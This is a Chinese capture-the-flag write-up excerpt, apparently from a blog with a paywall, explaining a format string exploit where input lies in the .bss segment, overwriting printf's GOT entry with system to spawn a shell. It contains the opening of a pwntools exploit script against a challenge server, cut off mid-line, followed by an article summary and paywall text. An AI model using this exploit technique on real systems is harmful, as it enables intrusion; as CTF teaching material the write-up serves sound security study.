与以往不同,输入的格式化字符串被输入在".bss"段中,也无法直接任意内存写。
这里 格式化字符串在bss段上的情况:间接修改printf.got表为system,,,
ebp对应的地址映射比较关键
至于题目程序分析就不具体分析了,看其余师傅的即可。
这里还不错,程序本身无限循环,让printf格式化漏洞利用比较方便。
我们考虑利用修改printf的got表为system,输入参数,得到shell。
WP:
from pwn import*
p=remote('node4.buuoj.cn',27208)
#context.log_level='debug'
elf=ELF('./log')
libc=ELF('./32libc-2.27.so')
def fmtsend(addr,plase):
p.recvuntil('Try again!\n')
payload='%'+str(addr)+'c'+'%'+str(plase)+'$hn'
p.sendline(payload)
p.sendlineafter
利用格式化字符串漏洞获取shell:从栈到bss段的技巧

本文详细解析了一种利用格式化字符串漏洞的实例,重点在于当输入位于bss段时如何修改printf的got表为system地址,从而获取shell。通过泄露的‘__libc_start_main’信息计算libc基址,然后利用fmtsend函数间接修改栈上存储的printf.got指针,最终实现系统调用。整个过程展示了在不同内存区域利用格式化字符串漏洞的策略。
最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



